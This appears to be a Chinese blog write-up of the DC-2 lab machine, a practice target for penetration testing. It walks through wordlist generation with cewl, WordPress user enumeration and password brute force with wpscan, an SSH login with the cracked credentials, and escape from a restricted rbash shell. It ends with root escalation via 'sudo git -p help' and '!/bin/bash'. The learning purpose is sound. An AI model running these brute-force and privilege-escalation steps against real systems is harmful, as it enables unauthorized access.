DC-2 靶机渗透测试

DC-2 靶机渗透测试

冲冲冲,好好学习。 --2020.12.21

本靶机核心内容“受限shell提权”,知识点在另一篇文章中总结归纳了。

攻击机:kali

靶 机:DC-2

准备:在使用前需要在操作机的hosts文件里添加靶机的ip和域名,访问靶机80端口时会自动转跳dc-2,不添加则无法访问172.66.66.132 dc-2

信息收集:nmap -sV -A 172.66.66.0/24

DC-2 靶机渗透测试

nmap -sV -p- 172.66.66.132

DC-2 靶机渗透测试

-A :探测操作系统

-sV :探测版本

-p- :探测0~65535端口开放情况

没有robots.txt文件,访问80端口看看并识别cms:

DC-2 靶机渗透测试

DC-2 靶机渗透测试

dirb扫一下目录,找找就发现了登录页面

DC-2 靶机渗透测试

发现登录页面,因为是wordpress的网页,想到cewl和wpscan。接着操作。

cewl是kali自带的一个字典生成文件,教程参考freebuf的文章 Kali Linux字典生成工具Cewl使用全指南

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充。你可以把字典用到类似John the Ripper这样的密码破解工具中。

其实就是生成一个社工的密码文件,网站的某些特定的字符有时候可能会成为密码,用cewl提取一下出来。

默认方法
cewl http://www.ignitetechnologies.in/   #输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:

保存字典文件
cewl http://www.ignitetechnologies.in/ -w dict.txt    #为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用 -w参数 来将密码字典存储为text文件: 查看的时候就 cat 一下

如果你想生成指定长度的密码字典,你可以使用-m选项来设置:
cewl http://www.ignitetechnologies.in/ -m 9		#上述命令将生成长度至少为9位的密码,你可以从下图中看到,Cewl对目标网站进行了爬取,并打印出了长度至少为9位的密码:

从网站中获取Email
cewl http://www.ignitetechnologies.in/ -n -e		#你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典:

计算网站字典中重复的单词数量:
cewl http://www.ignitetechnologies.in/ -c  	#如果你想要计算目标网站中某个词的重复出现次数,你可以使用-c选项来开启参数计算功能:

输入cewl http://dc-2/ -w dir.txt 把生成的密码保存在 dir.txt中,路径在/root,可以用cat dir.txt查看详情。

接着有了密码,缺用户名,刚好这是个wordpress的站点,可以用WPScan枚举用户名,输入:wpscan --url dc-2 -e -u

DC-2 靶机渗透测试

找到三个用户名 admin jerry tom

可以尝试爆破:wpscan --url http://dc-2 -e u -P dir.txt 枚举用户名,加上 -P 密码文件路径

也可新建文件保存用户名再爆破:DC-2 靶机渗透测试

wpscan --url http://dc-2 -U users.txt -P dir.txt

爆破成功:

DC-2 靶机渗透测试

| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

DC-2 靶机渗透测试

出现search,输入flag,找到flag1 、flag2,并且,是否存在注入点?

DC-2 靶机渗透测试

DC-2 靶机渗透测试

flag2 提示有另一个入口,猜想 注入SSH登录 ,注入尝试失败,剩下SSH登录,ssh tom@172.66.66.132 -p 7744 密码parturient
只有tom账号密码可登录,但shell受限制大,较多命令无法执行。!DC-2 靶机渗透测试

查看vi flag3.txt

DC-2 靶机渗透测试

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. 可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。 提示信息指向jerry 并且提示使用su

简单试了一下发现,当前tom用户能使用的命令:ls vi less scp(不完全),得知当前shell为 rbash

DC-2 靶机渗透测试

开始提权,针对rbash 提权,下面的操作是突破 rbash,整个bash出来。先知道一个函数BASH_CMDS[]挖个坑,其实我也不是很透彻,后面再补。

BASH_CMDS[a]=/bin/sh;a

/bin/bash

再添加环境变量:export PATH=$PATH:/bin 添加/bin是为了能够使用/bin 下的命令

(/bin里是系统的一些指令。bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。)

需要再去理解PATH的含义,再su与sudo 的那个login shell的区别

DC-2 靶机渗透测试

export -p 列出当前shell中所有的环境变量,特别留意 PATH

DC-2 靶机渗透测试

看一下passwd文件,jerry是允许登录的

DC-2 靶机渗透测试

提权成功后,执行su jerryadipiscing切换到jerry用户,cd ../ ,ls 看到了flag4.txt,cat一下

DC-2 靶机渗透测试

提示git 提权

查看当前用户下的sudo命令列表 sudo -l

DC-2 靶机渗透测试

看到 (root) NOPASSWD: /usr/bin/git ,git命令是切换到root用户且无需密码直接使用,(注意,直接sudo ,不指定用户名,默认切换至 root 用户)

提权原理:因为git显示的内容太多需要分页显示的话,默认调用more来显示,那么more和less一样,都可以通过命令行模式输入!/bin/bash进行提权

sudo git -p help

!/bin/bash

DC-2 靶机渗透测试

DC-2 靶机渗透测试

本靶机核心“受限shell提权

路线:nmap-->御剑扫后台并访问-->cewl-->wpscan-->ssh登录-->rbash突破-->sudo git 提权root

  1. cewl 一个工具,根据目标网站的内容,生成一个特殊的社工密码文件,可用于后续爆破,缺个用户名,这时候如果目标站点是WordPress站点的话,就可以配合 Wpscan来获取用户名,再一起爆破。

  2. WPScan一个WordPress站点扫描工具:(kali默认自带工具)

    --url [wordpress url]直接开始扫描

    --enumerate |-e [option(s)]枚举,

    ​ option有 u 枚举用户名(默认从1-10)

    p 枚举插件

    vp只枚举有漏洞的插件

    vt只枚举有漏洞的主题

    tt列举所列图相关的文件

    ​ 注意:没有指定选项是,-e 默认为vt tt u vp 四个

    --update 使用前先更新

    wpscan --url https://www.xxxxxxx.wiki/ --enumerate u扫描用户名

    爆破:wpscan --url https://www.xxxxx.wiki/ -e u --wordlist 字典文件路径

​ 1.针对WPScan防护措施 :用户名枚举--->不要把昵称用作用户名,用包含随机字符的名字作用户名,昵称用低频的; 防止爆破措施:禁止ip重复尝试登陆; 防止扫描主题插件timthumb文件:使用Block Bad Queries (BBQ)插件

  1. 当拿到了账号密码,接下来有什么可以做的?后台登录SSH登录

  2. SSH远程登录命令格式:

    ssh 客户端用户名@服务器ip 例:ssh tom@172.66.66.132

    ssh 客户端用户名@服务器ip -p 端口 例:ssh tom@172.66.66.132 -p 7744

    ssh 服务器ip 如果客户机的用户名和服务器的用户名相同,登录时可以省略用户名。

  3. 拿到一个陌生的受限制的shell后,尽可能多的获取当前shell的信息,shell的类型可用功能/命令

    1. 检查可用命令:敲入一个字母,按两下TAB键补全,看能不能列出来文件/目录,如图都是可用的命令
      DC-2 靶机渗透测试

    2. 检查有suid权限的命令,哪些是归属于root用户。
      find / -perm -4000 -type f 2>/dev/null -exec ls -alh {} \;

      find / -perm -u=s -type f 2>/dev/null -exec ls -alh {} \;

    3. 查找可以使用的命令列表sudo sudo -l,看能不能用我们的密码执行其他用户的权限命令

    4. 检查有什么语言可以使用,python、php、ruby、expect、perl等,它们会在后面排上用场

    5. 检查重定向运算符是否可用,例如 | > >> < >| >& &>

    6. 检查转义字符和执行标记,如; & ' " ( { 其中,( 这个是shell执行标记

  4. export命令用于设置或显示环境变量,在shell中执行程序时,shell会提供一组环境变量。export可 增删改 环境变量,供后续程序使用,但是 export的效力仅限于本次登录操作(这里的 删 其实更贴切的描述是“暂时性禁用”,并不真的删除)

    格式:export [-fnp][变量名称]=[变量设置值] 例:export MYNE=7 //定义环境变量并赋值,export -p 列出当前shell中所有环境变量

  5. git提权 -p | --paginate 这个-p的意思就是以分页的形式展示git的帮助信息,进入交互模式,可输入命令

     sudo git -p help
    !/bin/bash
    
  6. su 与 sudo 异同:在另一个笔记里,自己想,想不起来再去翻

  7. echo $0 查看当前shell类型

上一篇:docker安装mysql5.6.51


下一篇:解决docker开启端口映射后,会直接穿透本机防火墙的问题